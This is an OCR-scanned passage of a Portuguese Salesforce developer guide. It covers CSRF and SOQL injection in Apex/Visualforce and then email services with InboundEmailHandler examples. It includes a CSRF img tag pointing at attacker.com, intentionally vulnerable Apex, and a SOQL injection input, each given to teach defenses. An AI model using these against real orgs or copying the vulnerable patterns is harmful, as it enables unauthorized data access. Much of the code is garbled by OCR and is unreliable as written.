As falhas de Cross-Site Request Forgery (CSRF) n&o séo tanto um erro de programagdo, pois trata-se da falta de uma defesa. A forma
mais facil de descrever o CSRF é dando um exemplo muito simples. Um atacante tem uma pagina no endereco www . attacker.com.
Essa pode ser qualquer pagina, incluindo uma que forneca servicos ou informagdes valiosas que conduza o tréfego para esse site. Em
algum lugar da pagina do atacante estd uma marca HTML que é assim:

<img
src="http://www.yourwebpage .com/yourapplication/createuser?email=attacker@attacker.com&type=admin. . ... "
height=1 width=1 />

Em outras palavras, a pagina do atacante contém um URL que executa uma agdo no seu site. Se o usudrio ainda estiver logado na pagina
da web ao visitar a pdgina do atacante, o URL sera coletado e as a¢oes serao executadas. Esse ataque é bem-sucedido, pois o usudrio
ainda estd autenticado na sua pagina da web. Esse é um exemplo muito simples, e 0 atacante pode ser mais criativo, usando scripts
para gerar a solicitacao de callback ou até usar ataques de CSRF contra seus métodos AJAX.

Para obter mais informacées e defesas tradicionais, veja os sequintes artigos:
e http//www.owasp.org/index.php/Cross-Site_Request_Forgery

e http://www.cgisecurity.com/csrf-fag.html

e http://shiflett.org/articles/cross-site-request-forgeries

Dentro da plataforma do Force.com, o Salesforce implementou um token anti-CSRF para evitar esse ataque. Todas as paginas incluem
uma sequéncia aleatdria de caracteres na forma de um campo de formulario oculto. No carregamento da proxima péagina, o aplicativo
verifica a validade dessa sequéncia de caracteres e nao executara o comando se o valor for correspondente ao valor esperado. Esse
recurso o protege quando vocé estiver usando todos os controladores e métodos padréo.

Aqui, mais uma vez, o desenvolvedor pode contornar as defesas incorporadas sem perceber o risco. Por exemplo: vamos supor que vocé
tenha um controlador personalizado no qual usa o ID do objeto como parametro de entrada, e depois o utilizaem uma chamada SOQL.
Veja o seguinte snippet de cédigo.

<apex:page controller="myClass" action="{!init}"</apex:page>

public class myClass {
public void init () {
Id id = ApexPages.currentPage () .getParameters().get('id'");
Account obj = [select id, Name FROM Account WHERE id = :id];


http://www.owasp.org/index.php/Cross-Site_Request_Forgery
http://www.cgisecurity.com/csrf-faq.html
http://shiflett.org/articles/cross-site-request-forgeries
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delete obj;
return ;

}

Neste caso, o desenvolvido sem saber contornou os controles anti-CSRF ao desenvolver seu proprio método de acao. O parametro id
foi lido e usado no cédigo. O token anti-CSRF nunca é lido ou validado. A pagina da web do autor do ataque pode ter enviado o usudrio
para esta pagina usando um ataque de CSRF e fornecido qualquer valor desejado para o parametro id.

N&o existem defesas incorporadas para situagdes como essa, e 0s desenvolvedores devem ter cuidado ao escreverem paginas cuja acao
se baseie em um parametro fornecido pelo usuario, como a varidvel id no exemplo anterior. Uma possivel solucdo pode ser inserir
uma pagina de confirmacao intermediéria antes de executar a acao, para garantir que o usuario pretendia mesmo acessar a pagina.
Outras sugestdes sdo encurtar o timeout da sessdo ociosa para a organizacdo e educar os usudrios a fazerem logout da sesséo ativa e
ndo usarem o navegador para acessarem outros sites enquanto estiverem autenticados.

InjecGo SOQL

Em outras linguagens de programacao, a falha anterior é conhecida como injegdo SQL. O Apex ndo usa SQL, mas usa sua prépria
linguagem de consulta a banco de dados, SOQL. A SOQL é muito mais simples e com funcionalidades mais limitadas que a SQL. Por
i$50, 0 riscos s&0 muito menores para a injecao SOQL que para a injecdo SQL, mas os ataques sdo quase idénticos a tradicional injecéo
SQL. Em resumo, a injecdo SQL/SOQL envolve pegar a entrada fornecida pelo usuério e usar esses valores em uma consulta SOQL
dinamica. Se a entrada ndo for validada, ela poderd incluir comandos SOQL que de fato modificam a instrucdo SOQL e, assim, enganar
o aplicativo para executar comandos nao desejados.

Para obter mais informacées sobre ataques de injecao SQL, veja:
e http//www.owasp.org/index.php/SQL_injection

e http//www.owasp.org/index.php/Blind_SQL_lInjection

e http://www.owasp.org/index.php/Guide_to_SQL_Injection

e http://www.google.com/search?q=sql+injection

Vulnerabilidade a injecdo SOQL no Apex

Veja abaixo um exemplo simples de um cédigo do Apex e do Visualforce vulneravel a injecdo SOQL.

<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />
</apex:form>
</apex:page>

public class SOQLController {
public String name {
get { return name;}
set { name = value;}

}

public PageReference query () {
String gryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like \'%' + name + '3\'")';

queryResult = Database.query(gqryString);
return null;


http://www.owasp.org/index.php/SQL_injection
http://www.owasp.org/index.php/Blind_SQL_Injection
http://www.owasp.org/index.php/Guide_to_SQL_Injection
http://www.google.com/search?q=sql+injection
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}

Esse é um exemplo bastante simples, mas ilustra a légica. O codigo é feito para pesquisar contatos que nao foram excluidos. O usudrio
fornece um valor de entrada chamado name. O valor pode ser qualquer coisa fornecida pelo usuério, e nunca é validado. A consulta
SOQL é construida de forma dinamica e, depois, executada com o método Database . query. Se 0 usuario fornecer um valor valido,
a instrucao serd executada como esperado:

// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

Mas e se o usuério fornecer uma entrada inesperada, como esta:
// User supplied value for name: test%') OR (Name LIKE '

Nesse caso, a string de consulta sera:

SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test$%') OR (Name LIKE '%'")

Agora os resultados mostram todos 0s contatos, e ndo s6 os que néao foram excluidos. Uma falha na injecdo SOQL pode ser usada para
modificar a l6gica de qualquer consulta vulneravel.

Defesas da injecao SOQL

Para evitar um ataque de inje¢ao SOQL, evite usar consultas SOQL dinamicas. Em vez disso, use consultas estdticas e varidveis vinculantes.
O exemplo vulneravel acima poderia ser reescrito usando SOQL estatica, da sequinte forma:

public class SOQLController {

public String name {
get { return name;}
set { name = value;}

}

public PageReference query () {
String queryName = '$' + name + '$';
queryResult = [SELECT Id FROM Contact WHERE

(IsDeleted = false and Name like :queryName)];

return null;

}

Se vocé precisar usar SOQL dinamica, use 0 método escapeSingleQuotes para sanitizar a entrada fornecida pelo usudrio. Esse
método adiciona o caractere de escape (\) a todas as aspas simples em uma string que seja aprovada por um usuério. O método garante
que todas as aspas simples sejam tratadas como strings que terdo uma outra aspa simples para fechar, e ndo como comandos do banco
de dados.

Controle de acesso aos dados

A plataforma do Force.com faz um grande uso das regras de compartilhamento de dados. Cada objeto tem permissdes e pode ter
configuragées de compartilhamento, para as quais usuarios podem ler, criar, editar e excluir. Essas configuracoes sao obrigatérias ao
usar todos os controladores padrao.

Ao usar uma classe do Apex, as permissdes incorporadas do usuario e as restricdes de seguranga no nivel do campo ndo seréo respeitadas
durante a execu¢do. O comportamento padrdo é que a classe do Apex tenha a capacidade de ler e atualizar todos os dados da organizacao.
Como essas regras ndo sao obrigatdrias, os desenvolvedores que usam o Apex devem tomar cuidado para nao expor sem intencéo



Aprimorar o Salesforce com codigo Guia do usudrio | Componentes do Lightning, Apex,
Visualforce | 104

dados confidenciais que normalmente estariam escondidos dos usudrios por permissées do usudrio, seguranga em nivel de campo ou
padrdes da organizagdo inteira. Isso é particularmente verdade para as paginas do Visualforce. Por exemplo: veja o seguinte pseudo-cédigo

do Apex:
public class customController ({
public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];

}

Neste caso, sao pesquisados todos os registros de contato, mesmo se o usudrio que estiver logado no momento normalmente nao
tivesse permissao para visualiza-los. A solucao é usar as palavras-chave de qualificacdo with sharing ao declarara classe:

public with sharing class customController ({

}

A palavra-chave with sharing direciona a plataforma para usar permissdes de compartilhamento de seguranca do usuario que
estd logado no momento, e ndo conceder acesso total a todos os registros.

Servicos de email

O que s@o servigos de email?

Os servigos de email sao processos automatizados que usam as classes do Apex para processar EDlCOES
conteldo, cabecalhos e anexos de emails de entrada. Por exemplo, vocé pode desenvolver um
servico de email que crie registros de contatos automaticamente com base nas informagdes sobre
0s contatos das mensagens.

Disponivel em: Salesforce
Classic e Lightning

E possivel associar cada servico de email a um ou mais enderecos de email gerados pelo Salesforce, Experience

a0s quais 0s usudrios podem enviar mensagens para processamento. Para dar a varios usuarios

. . . R Disponivel em: Edi¢des
acesso a um Unico servico de email, vocé pode:

Enterprise, Performance,

e Associar varios enderecos de email gerados pelo Salesforce ao servico de email e alocar esses Unlimited e Developer
enderecos aos USUArios. 0 uso de servicos de email

e Associar um Unico endereco de email gerado pelo Salesforce ao servico de email e gravar uma nos pacotes instalados do
classe do Apex que seja executada de acordo com o usudrio que estd acessando o servico de AppExchange também
email. Por exemplo, é possivel gravar uma classe do Apex que identifique o usuario com base disponiveis em: Group e
no endereco de email dele e crie registros em nome desse usuario. Professional Editions

Para usar servicos de email, em Configuracdo, insira Servicos de email nacaixa Busca
répida e selecione Servigos de email. PERMISSOES DO

e (Clique em Novo servico de email para definir um novo servico de email. USUARIO

e Selecione um servico de email existente para exibir sua configuracdo, ativa-lo ou desativé-lo,

. - Para configurar os servigos
exibir ou especificar enderecos para ele.

de email do Apex e os

e (lique em Editar para fazer alteracdes em um servico de email existente. enderecos de servico de
e (lique em Excluir para excluir um servico de email. em?”: -
e “Modificar todos os
@ Nota: Antes de excluir os servicos de email, vocé deve excluir todos os enderecos dados”
associados dos servicos de email. Parar criar classes do Apex:

. . . . e "Apex do autor”
Observe o seguinte na hora de definir servicos de email: P
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O servico de email processa apenas as mensagens que ele recebe por meio de um desses enderecos.

O Salesforce limita o nimero total de mensagens que todos os servicos de email juntos podem processar diariamente, incluindo o
Email-to-Case On-Demand. As mensagens que excederem esse limite serdo devolvidas, descartadas ou colocadas em fila para
processamento no dia sequinte, dependendo de como vocé definir as configuracdes de resposta da falha em cada servico de email.
O Salesforce calcula o limite multiplicando o nimero de licencas do usuério por 1.000, até o nimero méximo de 1.000.000 por dia.
Por exemplo: se vocé tem 10 licencas, a sua organizacao pode processar até 10.000 mensagens de email por dia.

Nao é possivel copiar os enderecos de servico de email que vocé criar no sandbox para sua organizacao de produgao.

Para cada servico de email, vocé pode solicitar que o Salesforce envie mensagens de email de erro para um endereco especifico em

vez do endereco de email do remetente.

Os servicos de email rejeitam as mensagens de email e notificam o remetente caso o email (texto do corpo combinado, HTML do
corpo e anexos) exceda em aproximadamente 10 MB (varia de acordo com o idioma e o conjunto de caracteres).

CONSULTE TAMBEM:

Definindo enderecos de servico de email
Definindo servicos de email

Usando o objeto InboundEmail

Definindo enderecos de servico de email

1.

Em Configuracdo, insira Servicos de email nacaixa Busca rapida e selecione
Servigos de email.

Selecione o servico de email para o qual vocé deseja definir o endereco.

Clique em Novo endereco de email ou em Editar para alterar a configuracdo de um endereco
de servico de email existente. Para excluir um endereco de servico de email, clique em Exibir
e Excluir.

No campo Endereco de email,insiraa parte dolocal do endereco de servico de email.
0O Salesforce gera uma parte exclusiva de dominio para cada endereco de servico de email para
garantir que ndo tenha outro endereco idéntico. A parte de dominio gerada aparece a direita
docampo Endereco de email.

o Dica: Para a parte do local de um endereco de email do Salesforce, todos os caracteres
alfanuméricos séo validos, além dos seguintes caracteres especiais: #5%8&*/=2A_+-"{[}~.
Para a parte do dominio de um endereco de email do Salesforce, somente os caracteres
alfanuméricos sao validos e o hifen (-). O ponto (.) também é vélido nas duas partes, local
e dominio, desde que néo seja o primeiro nem o Ultimo caractere.

Os enderecos de email do Salesforce ndo diferenciam maitsculas de minusculas.

Marque a caixa de selecao Ativo se quiser ativar o endereco de servico de email quando
vocé clicarem salvar.

Escolha Usuario do contexto. O servico de email assume as permissdes do usuario
do contexto durante o processamento das mensagens que este endereco receber. Por exemplo,
se o servico de email for configurado para modificar os registros dos contatos quando receber
informacées atualizadas sobre os contatos, o servico de email modificard apenas um registro
se 0 usuario do contexto tiver permisséo para edita-lo.

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edi¢des
Enterprise, Performance,
Unlimited e Developer

O uso de servicos de email
nos pacotes instalados do
AppExchange também
disponiveis em: Group e
Professional Editions

PERMISSOES DO

USUARIO

Para configurar os servicos

de email do Apex e os

enderecos de servico de

email:

* "Modificar fodos os
dados”

Parar criar classes do Apex:
e “Apex do autor”
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@ Importante: Escolha um usudrio de contexto que tenha permisséo para executar a classe do Apex que o servico de email
tenha sido configurado para usar.

7. Opcionalmente, configure este endereco de servico de email para aceitar apenas mensagens de determinados remetentes, criando
uma lista de enderecos de email e dominios na caixa de texto Aceitar email de.Separe varias entradas com virgulas. Por
exemplo: jorge@minhaempresa.com, yahoo.com, gmail.com. Se a caixa de texto Aceitar email de tiverum valore o servico
de email receber uma mensagem de um endereco de email ou domfnio nao listado, o servico de email realizard a agdo especificada
na configuracdo Acdo para remetente ndo autorizado derespostadafalha.

Deixe esse campo em branco se quiser que o servico de email receba mensagens de qualquer endereco.

Nota: Se o servico de email e 0 endereco do servico de email estiverem configurados para aceitar apenas mensagens de
determinados remetentes, o servico de email processard somente as mensagens de remetentes listados nas caixas de texto
Aceitar email de,tanto no servico de email quanto no endereco do servico de email.

8. (lique em Salvar para salvar as alteracées ou em Salvar e novo para definir outro endereco email de entrada para este servico de
email.

CONSULTE TAMBEM:
Definindo servicos de email

O que sao servicos de email?

Definindo servicos de email
Para definir um servico de email: EDlCC)ES

1. Em Configuragdo, insira Servicos de email nacaixa Busca rapida e selecione
Servigos de email. Disponivel em: Salesforce
Classic e Lightning

2. (lique em Novo servico de email ou em Editar para alterar um servico de email existente. )
Experience

3. Especifique o nome do servico de email.
Disponivel em: Edicoes

Enterprise, Performance,
Unlimited e Developer

O uso de servicos de email
nos pacotes instalados do
AppExchange também
disponiveis em: Group e
Professional Editions

PERMISSOES DO

USUARIO

Para configurar os servicos

de email do Apex e os

enderecos de servico de

email:

e "Modificar fodos os
dados”

Parar criar classes do Apex:
e "Apex do autor”
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4. Escolha as classes do Apex que vocé deseja que este servico de email use para processar as mensagens. A classe do Apex escolhida
deverd implementar a interface Messaging. InboundEmailHandler. Porexemplo:

global class myHandler implements Messaging.InboundEmailHandler {
global Messaging.InboundEmailResult handleInboundEmail (Messaging.InboundEmail
email, Messaging.InboundEnvelope envelope) {
Messaging.InboundEmailResult result = new Messaging.InboundEmailresult();

return result;

}

Para obter informacdes sobre o objeto InboundEmail, consulte Usando o objeto InboundEmail na pagina 109.
5. Escolha os tipos de anexos que vocé deseja que o servico de email aceite. As opgdes sdo:

Nenhum
O servico de email aceita a mensagem, mas descarta qualquer anexo.

Somente anexos de texto
O servico de email aceita apenas os seguintes tipos de anexos:

e Anexos com um tipo de MIME (Multipurpose Internet Mail Extension) text.

e Anexoscomumtipode MIME application/octet-stream eumnomedearquivocom extensao .vcf ou .vcs.
Estes sdo salvos como tipos de MIME text/x-vcard e text/calendar, respectivamente.

Mensagens com anexos diferentes desses tipos sdo aceitas, mas os anexos serdo descartados.

Somente anexos binarios
O servico de email aceita apenas anexos binarios, como arquivos de imagem, dudio, aplicativo e video. Os anexos binarios tém
um limite de 5 MB por anexo.

Mensagens com anexos diferentes dos bindrios sdo aceitas, mas 0s anexos serdo descartados.

Tudo
O servico de email aceita qualquer tipo de anexo.

Nota: O servico de email s6 pode processar anexos se vocé configurar o servico de email para aceitar anexos e usar uma
classe do Apex que processe 0s tipos de anexos aceitos pelo servico de email.

Além disso, observe que os servigos de email ndo podem aceitar anexos inline, como elementos graficos inseridos em emails.

6. Vocétambém pode marcara caixa de selecdo Configuracdes da seguranca avancada de email paraconfigurar
o servico de email a fim de verificar a legitimidade do servidor de envio antes de processar uma mensagem. O servico de email usa
0s seguintes protocolos de autenticacdo para verificar a legitimidade do remetente:

e SPF

e Senderld

e DomainKeys

Se o servidor de envio for aprovado em pelo menos um desses protocolos e nao obtiver nenhuma reprovagao, o servico de email

processara o email. Se o servidor for reprovado em algum protocolo ou nao oferecer suporte a nenhum deles, o servico de email
realizard a acdo especificada na configuracdo Acdo para remetente nido autenticado derespostada falha.

O Dica: Antes de marcar a caixa de selecdo Autenticar remetentes, verifique se os remetentes que vocé espera que
usem o servico de email suportam pelo menos um dos protocolos de autenticacdo relacionados anteriormente. Para obter
informacées sobre os protocolos de autenticacao, visite os sites:

* www.openspf.org


http://www.openspf.org/
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e www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx

7. 0Os servicos de email rejeitam as mensagens de email e notificam o remetente caso o email (texto do corpo combinado, HTML do
corpo e anexos) exceda em aproximadamente 10 MB (varia de acordo com o idioma e o conjunto de caracteres).

8. Vocé pode converter anexos de texto em anexos bindrios.

9. Opcionalmente, configure este servico de email para aceitar apenas mensagens de determinados remetentes, criando uma lista de
enderecos de email e dominios na caixa de texto Aceitar email de. Separe varias entradas com virgulas. Por exemplo:
jorge@minhaempresa.com, yahoo.com, gmail.com. Se a caixa de texto Aceitar email de tiver um valore o servico de email
receber uma mensagem de um endereco de email ou dominio nao listado, o servico de email realizaré a acao especificada na
configuragdo Acdo para remetente ndo autorizado derespostadafalha

Deixe esse campo em branco se quiser que o servico de email receba mensagens de qualquer endereco.

@ Nota: Vocé também pode autorizar enderecos de email e dominios no nivel do endereco de servico de email. Consulte
Definindo enderecos de servico de email na pagina 105.

Se o0 servico de email e 0 endereco do servico de email estiverem configurados para aceitar apenas mensagens de determinados
remetentes, o servico de email processard somente as mensagens de remetentes listados nas caixas de texto Aceitar
email de,tanto no servico de email quanto no endereco do servico de email.

10. Marque a caixa de selecdo Ativo se quiser ativar o servico de email quando vocé clicarem Salvar.

11. Defina as configuracées de resposta da falha, que determinam como o servico de email devera responder se houver uma falha na
tentativa de acesso a este servico de email pelos seguintes motivos:

Acgdo para limite da taxa de email excedido
Determina o que o servi¢o de email faz com as mensagens se o nimero total de emails processados por todos os servicos de
email juntos atingir o limite didrio da sua organizacao. O Salesforce calcula o limite multiplicando o ndmero de licengas do
usuario por 1.000, até o nimero maximo de 1.000.000 por dia. Por exemplo: se vocé tem 10 licencas, a sua organizacao pode
processar até 10.000 mensagens de email por dia.

Acdo para enderego de email desativado
Determina o que o servico de email faz com as mensagens recebidas por um endereco de email inativo.

Agdo para servigo de email desativado
Determina o que o servi¢o de email faz com as mensagens que ele receber enquanto estiver inativo.

Agdo para remetente ndo autenticado
Determina o que o servico de email faz com as mensagens que sao reprovadas ou que n&o suportam nenhum dos protocolos,
se a caixa de selecdo Autenticar remetentes estiver marcada.

Acdo para remetente ndo autorizado
Determina o que o servi¢o de email faz com as mensagens recebidas de remetentes que ndo estdo relacionados na caixa de
texto Aceitar email de,tanto no servico de email quanto no endereco do servico de email.

As opgdes de resposta da falha sao:

Devolver mensagem
O servico de email retorna a mensagem ao remetente ou ao Usuadrio automatizado do caso paraoEmail-to-Case
On-Demand, com uma notificacdo que explica por que a mensagem foi rejeitada.

Descartar mensagem
O servico de email exclui a mensagem sem notificar o remetente.


http://www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx
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Recolocar mensagem emfila (A¢do para limite da taxa de email excedido apenas)
O servico de email recoloca a mensagem em fila para processamento nas proximas 24 horas. Se a mensagem néo for processada
dentro de 24 horas, 0 servico de email devolvera a mensagem ao remetente com uma notificacéo explicando o motivo pelo

qual ela foi rejeitada.

12. Para enviar mensagens de email de erro para um endereco especifico em vez de o endereco de email do destinatario, selecione
Ativar roteamento de erros eespecifique o endereco de email de destinoem Direcionar emails de erro
para este endereco de email.lssoimpede que o destinatario seja notificado quando os servigos de email ndo puderem

processar um email de entrada.

13. Clique em Salvar para salvar as alteracdes ou em Salvar e novo endereco de email para criar enderecos neste servico de email,

conforme descrito em Definindo enderecos de servico de email na pagina 105.

CONSULTE TAMBEM:
Definindo enderecos de servico de email

O que sdo servicos de email?

Usando o objeto InboundEmail

Para cada email recebido pelo dominio de servico de email do Apex, o Salesforce cria um objeto
InboundEmail separado com o conteldo e os anexos desse email. E possivel usar as classes do
Apex que implementam a interface Messaging.InboundEmailHandler para lidar com
mensagens de email de entrada. Com o método handleInboundEmail naclasse, é possivel
acessar o objeto InboundEmail para recuperar contetido, cabecalhos e anexos de mensagens de
email de entrada, além de realizar diversas funcées.

@ Nofa: Para obter informacoes sobre o servico de email do Apex, consulte O que sao servicos
de email? na pagina 104.

Exemplo 1: Criar tarefas para contatos

EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: Edicdes
Enterprise, Performance,
Unlimited e Developer

A sequir, veja um exemplo de como vocé pode pesquisar um contato pelo endereco de email recebido e criar uma nova tarefa.

global class CreateTaskEmailExample implements Messaging.InboundEmailHandler {

global Messaging.InboundEmailResult handleInboundEmail (Messaging.inboundEmail email,
Messaging.InboundEnvelope env) {

// Create an InboundEmailResult object for returning the result of the

// BApex Email Service

Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();

String myPlainText= '"';

// Add the email plain text into the local variable
myPlainText = email.plainTextBody;

// New Task object to be created
Task[] newTask = new Task[0];

// Try to look up any contacts based on the email from address

// If there is more than one contact with the same email address,
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// an exception will be thrown and the catch statement will be called.

try {
Contact vCon = [SELECT Id, Name, Email
FROM Contact
WHERE Email = :email.fromAddress
LIMIT 1];

// Add a new Task to the contact record we just found above.
newTask.add (new Task (Description = myPlainText,

Priority = 'Normal',

Status = 'Inbound Email',

Subject = email.subject,

IsReminderSet = true,

ReminderDateTime = System.now()+1,

WhoId = vCon.Id));

// Insert the new Task
insert newTask;

System.debug ('New Task Object: ' + newTask );
}

// If an exception occurs when the query accesses
// the contact record, a QueryException is called.
// The exception is written to the Apex debug log.
catch (QueryException e) {

System.debug ('Query Issue: ' + e);

// Set the result to true. No need to send an email back to the user
// with an error message
result.success = true;

// Return the result for the Apex Email Service
return result;

}

Exemplo 2: Administrar emails ndo inscritos

As empresas que enviam emails de marketing aos clientes atuais e potenciais precisam dispor de uma maneira para que os destinatarios
possam cancelar a inscricao. A sequir, veja um exemplo de como um servico de email pode processar solicitacdes de cancelamento de
inscricdo. O codigo procura na linha de assunto do email de entrada a palavra “cancelar inscricdo”. Se a palavra for encontrada, o cédigo
localizard todos os contatos e leads que correspondem ao endereco de email De e definird 0 campo Recusa de email
(HasOptedOutOfEmail) como Verdadeiro.

Global class unsubscribe implements Messaging.inboundEmailHandler{
Global Messaging.InboundEmailResult handleInboundEmail (Messaging.InboundEmail email,
Messaging.InboundEnvelope env ) {
// Create an inboundEmailResult object for returning

// the result of the email service.
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();
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// Create contact and lead lists to hold all the updated records.
List<Contact> lc = new List <contact>();
List<Lead> 11 = new List <lead>();
// Convert the subject line to lower case so the program can match on lower case.
String mySubject = email.subject.toLowerCase();
// The search string used in the subject line.
String s = 'unsubscribe';
// Check the variable to see if the word "unsubscribe" was found in the subject
Boolean unsubMe;
// Look for the word "unsubcribe" in the subject line.
// If it is found, return true; otherwise, return false.
unsubMe = mySubject.contains(s);
// If unsubscribe is found in the subject line, enter the IF statement.
if (unsubMe == true) {

try {

// Look up all contacts with a matching email address.

for (Contact c¢ : [SELECT Id, Name, Email, HasOptedOutOfEmail
FROM Contact
WHERE Email = :env.fromAddress
AND hasOptedOutOfEmail = false
LIMIT 100]1) {

// Add all the matching contacts into the list.
c.hasOptedOutOfEmail = true;
lc.add(c);
}
// Update all of the contact records.
update 1lc;
}
catch (System.QueryException e) {
System.debug ('Contact Query Issue: ' + e);

try {
// Look up all leads matching the email address.
for (Lead 1 : [SELECT Id, Name, Email, HasOptedOutOfEmail
FROM Lead
WHERE Email = :env.fromAddress
AND isConverted = false
AND hasOptedOutOfEmail = false
LIMIT 100]) {
// Add all the leads to the list.
1.hasOptedOutOfEmail = true;
11l.add(l);
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System.debug ('Lead Object: ' + 1);
}
// Update all lead records in the query.
update 11;

catch (System.QueryException e) {
System.debug ('Lead Query Issue: ' + e);

System.debug ('Found the unsubscribe word in the subject line.');

}

else {

System.debug ('No Unsuscribe word found in the subject line.' );

}
// Return True and exit.
// True confirms program is complete and no emails
// should be sent to the sender of the unsubscribe request.
result.success = true;
return result;

private class unsubscribeTest {

//
//
!/
1/
//
//

The following test methods provide adequate code coverage
for the unsubscribe email class.

There are two methods, one that does the testing

with a valid "unsubcribe" in the subject line

and one the does not contain "unsubscribe" in the

subject line.

static testMethod void testUnsubscribe () {

// Create a new email and envelope object.
Messaging.InboundEmail email = new Messaging.InboundEmail () ;
Messaging.InboundEnvelope env = new Messaging.InboundEnvelope () ;

// Create a new test lead and insert it in the test method.
Lead 1 = new lead(firstName='John',

lastName='Smith',

Company="'Salesforce',

Email="user@acme.com',

HasOptedOutOfEmail=false);
insert 1;

// Create a new test contact and insert it in the test method.
Contact ¢ = new Contact (firstName='john',

lastName="'smith',

Email="user@acme.com',

HasOptedOutOfEmail=false);
insert c;

// Test with the subject that matches the unsubscribe statement.

Guia do usudrio | Componentes do Lightning, Apex,
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email.subject = 'test unsubscribe test';
env.fromAddress = 'user@acme.com';

// Call the class and test it with the data in the testMethod.
unsubscribe unsubscribeObj = new unsubscribe () ;
unsubscribeObj.handleInboundEmail (email, env );

static testMethod void testUnsubscribe2 () {

// Create a new email and envelope object.
Messaging.InboundEmail email = new Messaging.InboundEmail () ;
Messaging.InboundEnvelope env = new Messaging.InboundEnvelope () ;

// Create a new test lead and insert it in the test method.
Lead 1 = new lead(firstName='john',

lastName='"'smith',

Company="'Salesforce',

Email='user@acme.com',

HasOptedOutOfEmail=false);
insert 1;

// Create a new test contact and insert it in the test method.
Contact ¢ = new Contact (firstName='john',

lastName='"'smith',

Email='user@acme.com',

HasOptedOutOfEmail=false) ;
insert c;

// Test with a subject that does not contain "unsubscribe."
email.subject = 'test';
env.fromAddress = 'user@acme.com';

// Call the class and test it with the data in the test method.
unsubscribe unsubscribeObj = new unsubscribe () ;
unsubscribeObj.handleInboundEmail (email, env );

Obijeto InboundEmail

Um objeto InboundEmail tem os seguintes campos.

Nome Tipo Descri¢do
binaryAttachments InboundEmail.BinaryAttachment[] Uma lista de anexos binérios recebida com o email, se
houver.

Exemplos de anexos bindrios incluem arquivos de imagem,
audio, aplicativo e video.

ccAddresses Stringl] Uma lista de enderecos com copia (CC), se houver.
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Nome
fromAddress
fromName

headers

htmlBody

htmlBodyIsTruncated

inReplyTo

messageld

plainTextBody

plainTextBodyIsTruncated

referéncias

replyTo

subject

textAttachments

Tipo
String
String

InboundEmail.Header(]

String

Booleano

String

String

String

Booleano

Stringl]

String

String

InboundEmail. TextAttachment[]
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Descri¢do
Endere¢o de email exibido no campo De.
Nome exibido no campo De, se houver.

Uma lista de cabecalhos RFC 2822 no email, incluindo:
e Recebido de

e (Cabecalhos personalizados

e |Ddamensagem

e Data

A versao HTML do email, se especificada pelo remetente.

Indica se o texto do corpo de HTML esta truncado
(verdadeiro)oundo (falso).

O campo Resposta do email de entrada. Identifica o(s)
email(s) para o(s) qual(is) este é uma resposta (emails pai).
Contém o email pai ou os IDs de mensagem dos emails.

O ID da mensagem — o identificador exclusivo do email
de entrada.

A versao de texto sem formatacao do email, se especificada
pelo remetente.

Indica se o texto do corpo simples estd truncado
(verdadeiro)oundo (falso).

O campo Referéncias do email de entrada. Identifica um
segmento de email. Contém uma lista de referéncias e IDs
de mensagem dos emails pai e possivelmente o campo
Resposta.

Endereco de email exibido no cabegalho de resposta.

Se nao houver cabecalho de resposta, esse campo sera
idéntico ao campo fromAddress.

Linha do assunto do email, se houver.

Uma lista de anexos de texto recebida com o email, se
houver.

Os anexos de texto podem ser qualquer um dos seguintes:

e Anexos com um tipo de MIME (Multipurpose Internet
Mail Extension) text

e Anexos com um tipo de MIME
application/octet-streameumnomede
arquivo com extensao .vcf ou .vcs. Estessao
salvos como tipos de MIME text/x-vcard e
text/calendar, respectivamente.
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Nome Tipo Descricdo

toAddresses Stringl] O endereco de email que aparece no campo Para.

Objeto InboundEmail.Header

Um objeto InboundEmail armazena informacées de cabecalho de email RFC 2822 em um objeto InboundEmail.Header com os seguintes

campos.
Nome Tipo Descricdo
nome String O nome do parametro do cabegalho, como Date ou Message-1ID.
value String Valor do cabecalho

Obijeto InboundEmail.BinaryAttachment
Um objeto InboundEmail armazena anexos binarios em um objeto InboundEmail BinaryAttachment.
Exemplos de anexos bindrios incluem arquivos de imagem, dudio, aplicativo e video.

O objeto InboundEmail.BinaryAttachment tem os seguintes campos.

Nome Tipo Descricdo

body Blob Corpo do anexo

fileName String Nome do arquivo anexado
mimeTypeSubType String Tipo de MIME principal e secundario

Objeto InboundEmail. TextAttachment

Um objeto InboundEmail armazena anexos de texto em um objeto InboundEmail. TextAttachment.
Os anexos de texto podem ser qualquer um dos seguintes:

e Anexos com um tipo de MIME (Multipurpose Internet Mail Extension) text

e Anexos comumtipo de MIME application/octet-stream e umnome dearquivo com extensdo .vcf ou .vcs. Estes
sdo salvos como tipos de MIME text/x-vcard e text/calendar, respectivamente.

O objeto InboundEmail.TextAttachment tem os seguintes campos.

Nome Tipo Descrigdo

body String Corpo do anexo

bodyIsTruncated Booleano Indica se o texto do corpo do anexo esté truncado (verdadeiro) ou ndo
(falso).

charset String Conjunto de caracteres original do campo de corpo. O corpo é recodificado como

UTF-8, como entrada no método do Apex.

fileName String Nome do arquivo anexado
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Nome Tipo Descricdo

mimeTypeSubType String Tipo de MIME principal e secundario

Objeto InboundEmailResult
O objeto InboundEmailResult é usado para retornar o resultado do servico de email. Se esse objeto for nulo, o resultado seré considerado
bem-sucedido. O objeto InboundEmailResult tem os seguintes campos.

Nome Tipo Descricdo

success Booleano Valor que indica se o email foi processado com éxito.

Se for falso, 0 Salesforce rejeitard o email de entrada e enviard um email de
resposta ao remetente original contendo a mensagem especificada no campo
Mensagem.

message String Uma mensagem que o Salesforce retorna no corpo de um email de resposta. Esse

campo pode ser preenchido com texto independente do valor exibido pelo campo
Exito.

Obijeto InboundEnvelope

O objeto InboundEnvelope armazena as informacdes de envelope associadas ao email de entrada e tem os campos a seguir.

Nome Tipo Descricdo

toAddress String O nome exibido no campo Para do envelope, se houver,

fromAddress String O nome exibido no campo De do envelope, se houver.
CONSULTE TAMBEM:

